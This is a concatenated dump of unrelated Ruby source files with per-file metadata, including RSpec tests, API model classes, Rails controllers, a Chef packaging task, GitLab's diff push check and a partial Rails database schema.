bf029ff2ce5d296bec21de3207d876e691a239f2 | 1,933 | require 'dotenv/load'
RSpec.describe Todoable::Model::TodoList do
let(:new_list) { {:list => {:name => ('a'..'z').to_a.shuffle[0,8].join} }}
let(:client) { Todoable::Client.new(username: ENV['VALID_USERNAME'], password: ENV['VALID_PASSWORD']) }
let(:get_lists) {
VCR.use_cassette('get_lists') do
client.get_lists
end
}
let(:post_list){ VCR.use_cassette('post_list') do
client.post_list(new_list)
end
}
let(:post_wrong_list){ VCR.use_cassette('wrong_list') do
new_list[:list][:items] = [{:name => 'Get er done'}]
client.post_list(new_list)
end
}
let(:post_non_unique){ VCR.use_cassette('wrong_list') do
client.post_list(new_list)
client.post_list(new_list)
end
}
let(:get_single_list){ VCR.use_cassette('get_list') do
list = client.post_list(new_list)
client.get_list(list[:id])
end
}
let(:delete_list){ VCR.use_cassette('delete_list') do
list = client.post_list(new_list)
client.delete_list(list[:id])
end
}
let(:new_name){ ('a'..'z').to_a.shuffle[0,8].join }
let(:patch_list){ VCR.use_cassette('patch_list', :re_record_interval => 1.second) do
list = client.post_list(new_list)
new_list[:list][:name] = new_name
client.patch_list(list[:id], new_list)
client.get_list(list[:id])
end
}
it 'returns an array of lists' do
expect(get_lists).to have_key(:lists)
end
it 'posts a new list if name is unique' do
expect(post_list).to include(:name, :src, :id)
end
it 'throws service error if post has a new list with item' do
expect{post_wrong_list}.to raise_error(Todoable::Error::ServiceError)
end
it 'throws error if list name is non-unique' do
expect{post_non_unique}.to raise_error(Todoable::Error::ServiceError)
end
it 'fetches one list by id' do
expect(get_single_list).to include(:items, :name)
end
it 'deletes a list' do
expect(delete_list).to eq(true)
end
it 'updates a list' do
expect(patch_list[:name]).to eq(new_name)
end
end | 28.014493 | 104 | 0.705122 |
038658353921d59341293c103d2ecb3c9a324429 | 741 | module Telegram
module Bot
module Types
class InlineQueryResultVenue < Base
attribute :type, String, default: 'venue'
attribute :id, String
attribute :latitude, Float
attribute :longitude, Float
attribute :title, String
attribute :address, String
attribute :foursquare_id, String
attribute :foursquare_type, String
attribute :google_place_id, String
attribute :google_place_type, String
attribute :reply_markup, InlineKeyboardMarkup
attribute :input_message_content, InputMessageContent
attribute :thumb_url, String
attribute :thumb_width, Integer
attribute :thumb_height, Integer
end
end
end
end
| 30.875 | 61 | 0.676113 |
386649f69f59d96acfd08cfbfbe8ceeca1c65624 | 2,484 | # frozen_string_literal: true
module Dmpopidor
module Controllers
module Paginable
module Plans
# GET /paginable/plans/org_admin/:page
# Renders only the plans with a visibility superior to privately
def org_admin
unless current_user.present? && current_user.can_org_admin?
raise Pundit::NotAuthorizedError
end
# check if current user if super_admin
@super_admin = current_user.can_super_admin?
@clicked_through = params[:click_through].present?
if @super_admin
plans = Plan.all
else
plans = current_user.org.plans.where.not(visibility: [
Plan.visibilities[:privately_visible],
Plan.visibilities[:is_test]
])
end
plans = plans.joins(:template, roles: [user: :org]).where(Role.creator_condition)
paginable_renderise(
partial: "org_admin",
scope: plans,
view_all: !current_user.can_super_admin?,
query_params: { sort_field: 'plans.updated_at', sort_direction: :desc }
)
end
# CHANGES: New Visibility
# /paginable/plans/administrator_visible/:page
# Paginable for Administrator Private Visibility
# Plans that are only visible by the owner of a plan, its collaborators and the org admin
def administrator_visible
unless ::Paginable::PlanPolicy.new(current_user).administrator_visible?
raise Pundit::NotAuthorizedError
end
paginable_renderise(
partial: "administrator_visible",
scope: Plan.active(current_user),
query_params: { sort_field: 'plans.updated_at', sort_direction: :desc }
)
end
# CHANGES : Org Admin should access plan with administrator, organisation & public plan when editing a user
# GET /paginable/plans/org_admin/:page
def org_admin_other_user
@user = User.find(params[:id])
authorize @user
unless current_user.present? && current_user.can_org_admin? && @user.present?
raise Pundit::NotAuthorizedError
end
paginable_renderise(
partial: "org_admin_other_user",
scope: Plan.org_admin_visible(@user),
query_params: { sort_field: 'plans.updated_at', sort_direction: :desc }
)
end
end
end
end
end
| 33.12 | 115 | 0.616345 |
391192795b6a203e5f003bbe7a118ac6c9160a48 | 6,705 | =begin
PureCloud Platform API
With the PureCloud Platform API, you can control all aspects of your PureCloud environment. With the APIs you can access the system configuration, manage conversations and more.
OpenAPI spec version: v2
Contact: [email protected]
Generated by: https://github.com/swagger-api/swagger-codegen.git
License: UNLICENSED
https://help.mypurecloud.com/articles/terms-and-conditions/
Terms of Service: https://help.mypurecloud.com/articles/terms-and-conditions/
=end
require 'date'
module PureCloud
class UserStations
# Current associated station for this user.
attr_accessor :associated_station
# The station where the user can be reached based on their default and associated station.
attr_accessor :effective_station
# Default station to be used if not associated with a station.
attr_accessor :default_station
# Last associated station for this user.
attr_accessor :last_associated_station
# Attribute mapping from ruby-style variable name to JSON key.
def self.attribute_map
{
:'associated_station' => :'associatedStation',
:'effective_station' => :'effectiveStation',
:'default_station' => :'defaultStation',
:'last_associated_station' => :'lastAssociatedStation'
}
end
# Attribute type mapping.
def self.swagger_types
{
:'associated_station' => :'UserStation',
:'effective_station' => :'UserStation',
:'default_station' => :'UserStation',
:'last_associated_station' => :'UserStation'
}
end
# Initializes the object
# @param [Hash] attributes Model attributes in the form of hash
def initialize(attributes = {})
return unless attributes.is_a?(Hash)
# convert string to symbol for hash key
attributes = attributes.each_with_object({}){|(k,v), h| h[k.to_sym] = v}
if attributes.has_key?(:'associatedStation')
self.associated_station = attributes[:'associatedStation']
end
if attributes.has_key?(:'effectiveStation')
self.effective_station = attributes[:'effectiveStation']
end
if attributes.has_key?(:'defaultStation')
self.default_station = attributes[:'defaultStation']
end
if attributes.has_key?(:'lastAssociatedStation')
self.last_associated_station = attributes[:'lastAssociatedStation']
end
end
# Show invalid properties with the reasons. Usually used together with valid?
# @return Array for valid properies with the reasons
def list_invalid_properties
invalid_properties = Array.new
return invalid_properties
end
# Check to see if the all the properties in the model are valid
# @return true if the model is valid
def valid?
end
# Checks equality by comparing each attribute.
# @param [Object] Object to be compared
def ==(o)
return true if self.equal?(o)
self.class == o.class &&
associated_station == o.associated_station &&
effective_station == o.effective_station &&
default_station == o.default_station &&
last_associated_station == o.last_associated_station
end
# @see the `==` method
# @param [Object] Object to be compared
def eql?(o)
self == o
end
# Calculates hash code according to all attributes.
# @return [Fixnum] Hash code
def hash
[associated_station, effective_station, default_station, last_associated_station].hash
end
# build the object from hash
def build_from_hash(attributes)
return nil unless attributes.is_a?(Hash)
self.class.swagger_types.each_pair do |key, type|
if type =~ /^Array<(.*)>/i
if attributes[self.class.attribute_map[key]].is_a?(Array)
self.send("#{key}=", attributes[self.class.attribute_map[key]].map{ |v| _deserialize($1, v) } )
else
#TODO show warning in debug mode
end
elsif !attributes[self.class.attribute_map[key]].nil?
self.send("#{key}=", _deserialize(type, attributes[self.class.attribute_map[key]]))
else
# data not found in attributes(hash), not an issue as the data can be optional
end
end
self
end
def _deserialize(type, value)
case type.to_sym
when :DateTime
DateTime.parse(value)
when :Date
Date.parse(value)
when :String
value.to_s
when :Integer
value.to_i
when :Float
value.to_f
when :BOOLEAN
if value.to_s =~ /^(true|t|yes|y|1)$/i
true
else
false
end
when :Object
# generic object (usually a Hash), return directly
value
when /\AArray<(?<inner_type>.+)>\z/
inner_type = Regexp.last_match[:inner_type]
value.map { |v| _deserialize(inner_type, v) }
when /\AHash<(?<k_type>.+), (?<v_type>.+)>\z/
k_type = Regexp.last_match[:k_type]
v_type = Regexp.last_match[:v_type]
{}.tap do |hash|
value.each do |k, v|
hash[_deserialize(k_type, k)] = _deserialize(v_type, v)
end
end
else # model
_model = Object.const_get("PureCloud").const_get(type).new
_model.build_from_hash(value)
end
end
def to_s
to_hash.to_s
end
# to_body is an alias to to_body (backward compatibility))
def to_body
to_hash
end
# return the object in the form of hash
def to_hash
hash = {}
self.class.attribute_map.each_pair do |attr, param|
value = self.send(attr)
next if value.nil?
hash[param] = _to_hash(value)
end
hash
end
# Method to output non-array value in the form of hash
# For object, use to_hash. Otherwise, just return the value
def _to_hash(value)
if value.is_a?(Array)
value.compact.map{ |v| _to_hash(v) }
elsif value.is_a?(Hash)
{}.tap do |hash|
value.each { |k, v| hash[k] = _to_hash(v) }
end
elsif value.respond_to? :to_hash
value.to_hash
else
value
end
end
end
end
| 23.86121 | 177 | 0.591797 |
6ae471ad71ac8125ebc769185f96fa9e99d73194 | 294 | cask "font-oxanium" do
version :latest
sha256 :no_check
url "https://github.com/google/fonts/raw/master/ofl/oxanium/Oxanium%5Bwght%5D.ttf",
verified: "github.com/google/fonts/"
name "Oxanium"
homepage "https://fonts.google.com/specimen/Oxanium"
font "Oxanium[wght].ttf"
end
| 24.5 | 85 | 0.717687 |
1d178f406ac395f09279d6f816ba8a457750bf61 | 3,759 | def use_react_native_ABI37_0_0! (options={})
# The prefix to the react-native
prefix = options[:path] ||= "../node_modules/react-native"
# Include Fabric dependencies
fabric_enabled = options[:fabric_enabled] ||= false
# Include DevSupport dependency
production = options[:production] ||= false
# The Pods which should be included in all projects
pod 'ABI37_0_0FBLazyVector', :path => "#{prefix}/Libraries/FBLazyVector", :project_name => 'ABI37_0_0'
pod 'ABI37_0_0FBReactNativeSpec', :path => "#{prefix}/Libraries/FBReactNativeSpec", :project_name => 'ABI37_0_0'
pod 'ABI37_0_0RCTRequired', :path => "#{prefix}/Libraries/RCTRequired", :project_name => 'ABI37_0_0'
pod 'ABI37_0_0RCTTypeSafety', :path => "#{prefix}/Libraries/TypeSafety", :project_name => 'ABI37_0_0'
pod 'ABI37_0_0React', :path => "#{prefix}/", :project_name => 'ABI37_0_0'
pod 'ABI37_0_0React-Core', :path => "#{prefix}/", :project_name => 'ABI37_0_0'
pod 'ABI37_0_0React-CoreModules', :path => "#{prefix}/React/CoreModules", :project_name => 'ABI37_0_0'
pod 'ABI37_0_0React-RCTActionSheet', :path => "#{prefix}/Libraries/ActionSheetIOS", :project_name => 'ABI37_0_0'
pod 'ABI37_0_0React-RCTAnimation', :path => "#{prefix}/Libraries/NativeAnimation", :project_name => 'ABI37_0_0'
pod 'ABI37_0_0React-RCTBlob', :path => "#{prefix}/Libraries/Blob", :project_name => 'ABI37_0_0'
pod 'ABI37_0_0React-RCTImage', :path => "#{prefix}/Libraries/Image", :project_name => 'ABI37_0_0'
pod 'ABI37_0_0React-RCTLinking', :path => "#{prefix}/Libraries/LinkingIOS", :project_name => 'ABI37_0_0'
pod 'ABI37_0_0React-RCTNetwork', :path => "#{prefix}/Libraries/Network", :project_name => 'ABI37_0_0'
pod 'ABI37_0_0React-RCTSettings', :path => "#{prefix}/Libraries/Settings", :project_name => 'ABI37_0_0'
pod 'ABI37_0_0React-RCTText', :path => "#{prefix}/Libraries/Text", :project_name => 'ABI37_0_0'
pod 'ABI37_0_0React-RCTVibration', :path => "#{prefix}/Libraries/Vibration", :project_name => 'ABI37_0_0'
pod 'ABI37_0_0React-Core/RCTWebSocket', :path => "#{prefix}/", :project_name => 'ABI37_0_0'
unless production
pod 'ABI37_0_0React-Core/DevSupport', :path => "#{prefix}/", :project_name => 'ABI37_0_0'
end
pod 'ABI37_0_0React-cxxreact', :path => "#{prefix}/ReactCommon/cxxreact", :project_name => 'ABI37_0_0'
pod 'ABI37_0_0React-jsi', :path => "#{prefix}/ReactCommon/jsi", :project_name => 'ABI37_0_0'
pod 'ABI37_0_0React-jsiexecutor', :path => "#{prefix}/ReactCommon/jsiexecutor", :project_name => 'ABI37_0_0'
pod 'ABI37_0_0React-jsinspector', :path => "#{prefix}/ReactCommon/jsinspector", :project_name => 'ABI37_0_0'
pod 'ABI37_0_0ReactCommon/jscallinvoker', :path => "#{prefix}/ReactCommon", :project_name => 'ABI37_0_0'
pod 'ABI37_0_0ReactCommon/turbomodule/core', :path => "#{prefix}/ReactCommon", :project_name => 'ABI37_0_0'
pod 'ABI37_0_0Yoga', :path => "#{prefix}/ReactCommon/yoga", :project_name => 'ABI37_0_0'
# pod 'ABI37_0_0DoubleConversion', :podspec => "#{prefix}/third-party-podspecs/DoubleConversion.podspec"
# pod 'ABI37_0_0glog', :podspec => "#{prefix}/third-party-podspecs/glog.podspec"
# pod 'ABI37_0_0Folly', :podspec => "#{prefix}/third-party-podspecs/Folly.podspec"
if fabric_enabled
pod 'ABI37_0_0React-Fabric', :path => "#{prefix}/ReactCommon", :project_name => 'ABI37_0_0'
pod 'ABI37_0_0React-graphics', :path => "#{prefix}/ReactCommon/fabric/graphics", :project_name => 'ABI37_0_0'
pod 'ABI37_0_0React-jsi/Fabric', :path => "#{prefix}/ReactCommon/jsi", :project_name => 'ABI37_0_0'
pod 'ABI37_0_0React-RCTFabric', :path => "#{prefix}/React", :project_name => 'ABI37_0_0'
# pod 'ABI37_0_0Folly/Fabric', :podspec => "#{prefix}/third-party-podspecs/Folly.podspec"
end
end
| 67.125 | 114 | 0.709231 |
f85ffb80b1d730f97a5665b6512b10d34bca1677 | 2,933 | # encoding: utf-8
# Code generated by Microsoft (R) AutoRest Code Generator.
# Changes may cause incorrect behavior and will be lost if the code is
# regenerated.
module Azure::KeyVault::V7_0_preview
module Models
#
# The certificate list result.
#
class CertificateListResult
include MsRestAzure
include MsRest::JSONable
# @return [Array<CertificateItem>] A response message containing a list
# of certificates in the key vault along with a link to the next page of
# certificates.
attr_accessor :value
# @return [String] The URL to get the next set of certificates.
attr_accessor :next_link
# return [Proc] with next page method call.
attr_accessor :next_method
#
# Gets the rest of the items for the request, enabling auto-pagination.
#
# @return [Array<CertificateItem>] operation results.
#
def get_all_items
items = @value
page = self
while page.next_link != nil && !page.next_link.strip.empty? do
page = page.get_next_page
items.concat(page.value)
end
items
end
#
# Gets the next page of results.
#
# @return [CertificateListResult] with next page content.
#
def get_next_page
response = @next_method.call(@next_link).value! unless @next_method.nil?
unless response.nil?
@next_link = response.body.next_link
@value = response.body.value
self
end
end
#
# Mapper for CertificateListResult class as Ruby Hash.
# This will be used for serialization/deserialization.
#
def self.mapper()
{
client_side_validation: true,
required: false,
serialized_name: 'CertificateListResult',
type: {
name: 'Composite',
class_name: 'CertificateListResult',
model_properties: {
value: {
client_side_validation: true,
required: false,
read_only: true,
serialized_name: 'value',
type: {
name: 'Sequence',
element: {
client_side_validation: true,
required: false,
serialized_name: 'CertificateItemElementType',
type: {
name: 'Composite',
class_name: 'CertificateItem'
}
}
}
},
next_link: {
client_side_validation: true,
required: false,
read_only: true,
serialized_name: 'nextLink',
type: {
name: 'String'
}
}
}
}
}
end
end
end
end
| 28.475728 | 80 | 0.52881 |
edf111353e2eaffd5d31d2d3e19c164cf0f25559 | 384 | # Docker build stack
if node['dokku']['buildstack']['use_prebuilt']
docker_image node['dokku']['buildstack']['image_name'] do
source node['dokku']['buildstack']['prebuilt_url']
action :import
end
else
docker_image node['dokku']['buildstack']['image_name'] do
source node['dokku']['buildstack']['stack_url']
action :build
end
end
# TODO: Custom buildpacks (?)
| 25.6 | 59 | 0.682292 |
b968f9f19814a580e8b329edf920ad0e0d6043dc | 232 | Given(/^I use the account "([^"]*)"$/) do |account_id|
Aws.config[:sts] = {
stub_responses: {
get_caller_identity: {
account: account_id,
arn: 'an-arn',
user_id: 'a-user-id'
}
}
}
end
| 19.333333 | 54 | 0.508621 |
1d4503f415a105bd9f3e557bd6a6a2a9399ffaf2 | 2,587 | # This file should contain all the record creation needed to seed the database with its default values.
# The data can then be loaded with the rails db:seed command (or created alongside the database with db:setup).
#
# Examples:
#
# movies = Movie.create([{ name: 'Star Wars' }, { name: 'Lord of the Rings' }])
# Character.create(name: 'Luke', movie: movies.first)
# recipes = Recipe.create([{name: "Udon", user_id: 5}, {name: "Grilled Cheese", user_id: 5}, {name: "Gumbo", user_id: 5}])
# ingredients = Ingredient.create(
# [{name: "onion"}, {name: "carrot"}, {name: "ginger"}, {name: "potato"}, {name: "soy sauce"}, {name: "egg"}, {name: "milk"}, {name: "sriracha" }, {name: "mustard" },
# {name: "yellow onion" }, {name: "red onion" }, {name: "shallot" }, {name: "green bell pepper" }, {name: "red bell pepper" }, {name: "flour" }, {name: "yeast" },
# {name: "salt" }, {name: "sugar" }, {name: "turbinado sugar" }, {name: "water" }, {name: "vinegar" }, {name: "balsamic vinegar" }, {name: "bay leaf" },
# {name: "cayenne" }, {name: "curry powder" }, {name: "curry paste" }, {name: "jalapeno pepper" }, {name: "cilantro" }, {name: "cumin" }, {name: "paprika" },
# {name: "bread crumbs" }, {name: "lemon zest" }, {name: "lemon juice" }, {name: "orange zest" }, {name: "orange juice" }, {name: "chocolate chip" }, {name: "olive oil" },
# {name: "butter" }, {name: "unsalted butter" }, {name: "spinach" }, {name: "peanut butter" }, {name: "american cheese" }, {name: "cheese" }, {name: "cheddar" },
# {name: "parmesan" }, {name: "asiago" }, {name: "bacon" }, {name: "ground beef" }, {name: "chicken thigh" }, {name: "rosemary" }, {name: "mushroom" },]
# )
# tags = Tag.create(
# [
# {name: "Curry"}, {name: "Stew"}, {name: "Vegetarian"}, {name: "Vegan"}, {name: "Pescatarian"}, {name: "Baking"}, {name: "Healthy"}, {name: "Spicy"}, {name: "Very Spicy"}, {name: "American"},
# {name: "French"}, {name: "Thai"}, {name: "British"}, {name: "Chinese"}, {name: "Vietnamese"}, {name: "Mexican"}, {name: "Indian"}, {name: "Syrian"}, {name: "Turkish"}, {name: "Sandwich"},
# {name: "Soup"}, {name: "Salad"}, {name: "Dessert"}, {name: "Pastry"}, {name: "Cupcakes"}, {name: "Cake"}, {name: "Favorite"}, {name: "Casserole"}
# ]
# )
# If you need to seed more data, comment it out after. If seeding a new database from scratch, uncomment everything you need.
# ingredients = Ingredient.create([
# {name: "garlic"}, {name: "linguine"}, {name: "red pepper"}, {name: "anchovies"}, {name: "black pepper"}
# ]) | 83.451613 | 200 | 0.582141 |
184ffe0da2dc9991794d2c744201ec59975ea873 | 157 | require "spec_helper"
describe AssetPathsFromManifest do
it "has a version number" do
expect(AssetPathsFromManifest::VERSION).not_to be nil
end
end
| 19.625 | 57 | 0.783439 |
33acd66883c13349b003da4578171d136cd4f6b3 | 637 | # frozen_string_literal: true
require 'ruby_helm/version'
require 'ruby_helm/commands'
module RubyHelm
class << self
attr_writer :configuration
def configuration
@configuration ||= Configuration.new
end
def configure
yield(configuration)
end
def reset!
@configuration = nil
end
end
module ClassMethods
def clean(opts = {})
Commands::Clean.new.execute(opts)
end
end
extend ClassMethods
def self.included(other)
other.extend(ClassMethods)
end
class Configuration
attr_accessor :binary
def initialize
@binary = 'helm'
end
end
end
| 14.813953 | 42 | 0.66876 |
f78d98f647c38d298ef0eba0fa1d0dd51a3fa454 | 1,519 | module Spaceship
module Portal
class Person < PortalBase
# @return (String) Person Id
attr_accessor :person_id
# @return (String) First name
attr_accessor :firstname
# @return (String) Last name
attr_accessor :lastname
# @return (String) Email Address
attr_accessor :email_address
# @return (String) Developer status (active, inactive)
attr_accessor :developer_status
# @return (String) Joined Date
attr_accessor :joined
# @return (String) Id in Team scope
attr_accessor :team_member_id
# @return (String) Role (member, admin or agent)
attr_accessor :type
attr_mapping(
'personId' => :person_id,
'firstName' => :firstname,
'lastName' => :lastname,
'email' => :email_address,
'developerStatus' => :developer_status,
'dateJoined' => :joined,
'teamMemberId' => :team_member_id
)
def remove!
client.team_remove_member!(team_member_id)
end
def change_role(role)
client.team_set_role(team_member_id, role)
end
class << self
def factory(attrs)
begin
attrs['dateJoined'] = Time.parse(attrs['dateJoined'])
rescue TypeError
# Raised if we start getting integer timestamps
rescue ArgumentError
# Raised if the string's format can't be parsed
end
return self.new(attrs)
end
end
end
end
end
| 24.901639 | 65 | 0.601053 |
18603358544d12c1180800b21b66ae8970a4ef5a | 7,205 | #
# Author:: Kartik Null Cating-Subramanian (<[email protected]>)
# Copyright:: Copyright 2015-2016, Chef, Inc.
# License:: Apache License, Version 2.0
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
require "rake"
require "rubygems"
require "rubygems/package_task"
module ChefConfig
class PackageTask < Rake::TaskLib
# Full path to root of top-level repository. All other files (like VERSION or
# lib/<module_path>/version.rb are rooted at this path).
attr_accessor :root_path
# Name of the top-level module/library build built. This is used to define
# the top level module which contains VERSION and MODULE_ROOT.
attr_accessor :module_name
# Should the generated version.rb be in a class or module? Default is false (module).
attr_accessor :generate_version_class
# Paths to the roots of any components that also support ChefPackageTask.
# If relative paths are provided, they are rooted against root_path.
attr_accessor :component_paths
# This is the module name as it appears on the path "lib/module/".
# e.g. for module_name "ChefDK", you'd want module_path to be "chef-dk".
# The default is module_name but lower-cased.
attr_writer :module_path
def module_path
@module_path || module_name.downcase
end
# Directory used to store package files and output that is generated.
# This has the same meaning (or lack thereof) as package_dir in
# rake/packagetask.
attr_accessor :package_dir
# Name of git remote used to push tags during a release. Default is origin.
attr_accessor :git_remote
def initialize(root_path = nil, module_name = nil)
init(root_path, module_name)
yield self if block_given?
define unless root_path.nil? || module_name.nil?
end
def init(root_path, module_name)
@root_path = root_path
@module_name = module_name
@component_paths = []
@module_path = nil
@package_dir = "pkg"
@git_remote = "origin"
@generate_version_class = false
end
def component_full_paths
component_paths.map { |path| File.expand_path(path, root_path) }
end
def version_rb_path
File.expand_path("lib/#{module_path}/version.rb", root_path)
end
def chef_root_path
module_name == "Chef" ? root_path : File.dirname(root_path)
end
def version
IO.read(File.join(chef_root_path, "VERSION")).strip
end
def full_package_dir
File.expand_path(package_dir, root_path)
end
def class_or_module
generate_version_class ? "class" : "module"
end
def with_clean_env(&block)
if defined?(Bundler)
Bundler.with_clean_env(&block)
else
yield
end
end
def define
raise "Need to provide package root and module name" if root_path.nil? || module_name.nil?
desc "Build Gems of component dependencies"
task :package_components do
component_full_paths.each do |component_path|
Dir.chdir(component_path) do
sh "rake package"
end
end
end
task :package => :package_components
desc "Build and install component dependencies"
task :install_components => :package_components do
component_full_paths.each do |component_path|
Dir.chdir(component_path) do
sh "rake install"
end
end
end
task :install => :install_components
desc "Clean up builds of component dependencies"
task :clobber_component_packages do
component_full_paths.each do |component_path|
Dir.chdir(component_path) do
sh "rake clobber_package"
end
end
end
task :clobber_package => :clobber_component_packages
desc "Update the version number for component dependencies"
task :update_components_versions do
component_full_paths.each do |component_path|
Dir.chdir(component_path) do
sh "rake version"
end
end
end
desc 'Regenerate lib/#{@module_path}/version.rb from VERSION file'
task :version => :update_components_versions do
contents = <<-VERSION_RB
# Copyright:: Copyright 2010-2016, Chef Software, Inc.
# License:: Apache License, Version 2.0
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
# NOTE: This file is generated by running `rake version` in the top level of
# this repo. Do not edit this manually. Edit the VERSION file and run the rake
# task instead.
#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
#{class_or_module} #{module_name}
#{module_name.upcase}_ROOT = File.dirname(File.expand_path(File.dirname(__FILE__)))
VERSION = "#{version}"
end
#
# NOTE: the Chef::Version class is defined in version_class.rb
#
# NOTE: DO NOT Use the Chef::Version class on #{module_name}::VERSIONs. The
# Chef::Version class is for _cookbooks_ only, and cannot handle
# pre-release versions like "10.14.0.rc.2". Please use Rubygem's
# Gem::Version class instead.
#
VERSION_RB
IO.write(version_rb_path, contents)
end
Dir[File.expand_path("*gemspec", root_path)].reverse_each do |gemspec_path|
gemspec = eval(IO.read(gemspec_path))
Gem::PackageTask.new(gemspec) do |task|
task.package_dir = full_package_dir
end
end
desc "Build and install a #{module_path} gem"
task :install => [:package] do
with_clean_env do
full_module_path = File.join(full_package_dir, module_path)
sh %{gem install #{full_module_path}-#{version}.gem --no-rdoc --no-ri}
end
end
task :uninstall do
sh %{gem uninstall #{module_path} -x -v #{version} }
end
desc "Build it, tag it and ship it"
task :ship => [:clobber_package, :gem] do
sh("git tag #{version}")
sh("git push #{git_remote} --tags")
Dir[File.expand_path("*.gem", full_package_dir)].reverse_each do |built_gem|
sh("gem push #{built_gem}")
end
end
end
end
end
| 32.309417 | 96 | 0.664122 |
8780b410a072ae084c1e871b96cfd2ef17c56f88 | 2,717 | # frozen_string_literal: true
module Gitlab
module Checks
class DiffCheck < BaseChecker
include Gitlab::Utils::StrongMemoize
LOG_MESSAGES = {
validate_file_paths: "Validating diffs' file paths...",
diff_content_check: "Validating diff contents..."
}.freeze
def validate!
return if deletion?
return unless should_run_diff_validations?
return if commits.empty?
file_paths = []
process_commits do |commit|
validate_once(commit) do
commit.raw_deltas.each do |diff|
file_paths.concat([diff.new_path, diff.old_path].compact)
validate_diff(diff)
end
end
end
validate_file_paths(file_paths)
end
private
def validate_lfs_file_locks?
strong_memoize(:validate_lfs_file_locks) do
project.lfs_enabled? && project.any_lfs_file_locks?
end
end
def should_run_diff_validations?
validations_for_diff.present? || path_validations.present?
end
def validate_diff(diff)
validations_for_diff.each do |validation|
if error = validation.call(diff)
raise ::Gitlab::GitAccess::ForbiddenError, error
end
end
end
# Method overwritten in EE to inject custom validations
def validations_for_diff
[]
end
def path_validations
validate_lfs_file_locks? ? [lfs_file_locks_validation] : []
end
def process_commits
logger.log_timed(LOG_MESSAGES[:diff_content_check]) do
# n+1: https://gitlab.com/gitlab-org/gitlab/issues/3593
::Gitlab::GitalyClient.allow_n_plus_1_calls do
commits.each do |commit|
logger.check_timeout_reached
yield(commit)
end
end
end
end
def validate_file_paths(file_paths)
logger.log_timed(LOG_MESSAGES[__method__]) do
path_validations.each do |validation|
if error = validation.call(file_paths)
raise ::Gitlab::GitAccess::ForbiddenError, error
end
end
end
end
# rubocop: disable CodeReuse/ActiveRecord
def lfs_file_locks_validation
lambda do |paths|
lfs_lock = project.lfs_file_locks.where(path: paths).where.not(user_id: user_access.user.id).take
if lfs_lock
return "The path '#{lfs_lock.path}' is locked in Git LFS by #{lfs_lock.user.name}"
end
end
end
# rubocop: enable CodeReuse/ActiveRecord
end
end
end
Gitlab::Checks::DiffCheck.prepend_if_ee('EE::Gitlab::Checks::DiffCheck')
| 26.90099 | 107 | 0.620169 |
d5f1d6308d7a5290084b247e5ad9162b498788c4 | 76 | require 'rails_helper'
RSpec.describe 'Enrollments', type: :request do
end
| 15.2 | 47 | 0.776316 |
bf92ef56120d720a627d7dfe811221c4f6081b2a | 991 | class SecuritysController < ApplicationController
before_action :authenticate_user!
def new
if User.search(params[:keyword]) != nil
if request.referer&.include?("/securitys") && User.search(params[:keyword]).count != User.all.count
@users = User.search(params[:keyword])
end
end
@block_users = Security.where(:block_user_id => current_user.id)
end
def create
@user = User.find(params[:format])
@security = Security.new(security_params)
if @security.block_user_id != nil
@security.save
redirect_back(:fallback_location => new_security_path)
end
end
def destroy
@user = User.find(params[:id])
@security = Security.find_by(:block_user_id => current_user.id, :blocked_user_id => @user.id)
@security.destroy
redirect_back(:fallback_location => new_security_path)
end
private
def security_params
params.permit().merge(:block_user_id => current_user.id, :blocked_user_id => @user.id)
end
end | 29.147059 | 105 | 0.695257 |
f877f3bb8109cbee0e690b69f2d407f73988082a | 1,214 | ActiveAdmin.register Event do
active_admin_importable do |model, hash|
model.import(hash)
end
index do
selectable_column
id_column
column :event_name
column :description
column :start_time do |event|
event.date_time
end
column :tickets do |event|
link_to event.tickets.count, admin_tickets_path(q: { event_id_eq: event.id })
end
column :entity
column :import_key
actions
end
filter :entity
filter :event_name
filter :description
filter :start_time
filter :import_key
show do
attributes_table do
row :id
row :event_name
row :entity
row :description
row :start_time
row :date_tba
row :time_tba
row :created_at
row :updated_at
row :import_key
end
panel "Tickets" do
table_for resource.tickets do |ticket|
column :display_name do |t|
auto_link(t, t.display_name)
end
column :group do |t|
auto_link(t.group, t.group.display_name)
end
column :owner
column :user
column :alias
column :cost do |t|
number_to_currency t.cost
end
end
end
end
end
| 19.901639 | 83 | 0.618616 |
1a968918530ae20336fbc2b204a06728da3debae | 408 | module FbRails
module Integration
module ActionView
def include_facebook_javascript(options = {})
render options[:async] ? 'fb/async_js' : 'fb/blocking_js'
end
def fbml(tag, content = '', options = {})
if content.is_a?(Hash)
options = content
content = ''
end
content_tag("fb:#{tag}", content, options)
end
end
end
end | 22.666667 | 65 | 0.573529 |
0133b0ae8bfda240013a098dd474edfd8c02b979 | 19,835 | # encoding: UTF-8
# This file is auto-generated from the current state of the database. Instead
# of editing this file, please use the migrations feature of Active Record to
# incrementally modify your database, and then regenerate this schema definition.
#
# Note that this schema.rb definition is the authoritative source for your
# database schema. If you need to create the application database on another
# system, you should be using db:schema:load, not running all the migrations
# from scratch. The latter is a flawed and unsustainable approach (the more migrations
# you'll amass, the slower it'll run and the greater likelihood for issues).
#
# It's strongly recommended to check this file into your version control system.
ActiveRecord::Schema.define(:version => 20131207033244) do
create_table "account_contacts", :force => true do |t|
t.integer "account_id"
t.integer "contact_id"
t.datetime "deleted_at"
t.datetime "created_at", :null => false
t.datetime "updated_at", :null => false
end
create_table "account_opportunities", :force => true do |t|
t.integer "account_id"
t.integer "opportunity_id"
t.datetime "deleted_at"
t.datetime "created_at", :null => false
t.datetime "updated_at", :null => false
end
create_table "accounts", :force => true do |t|
t.integer "user_id"
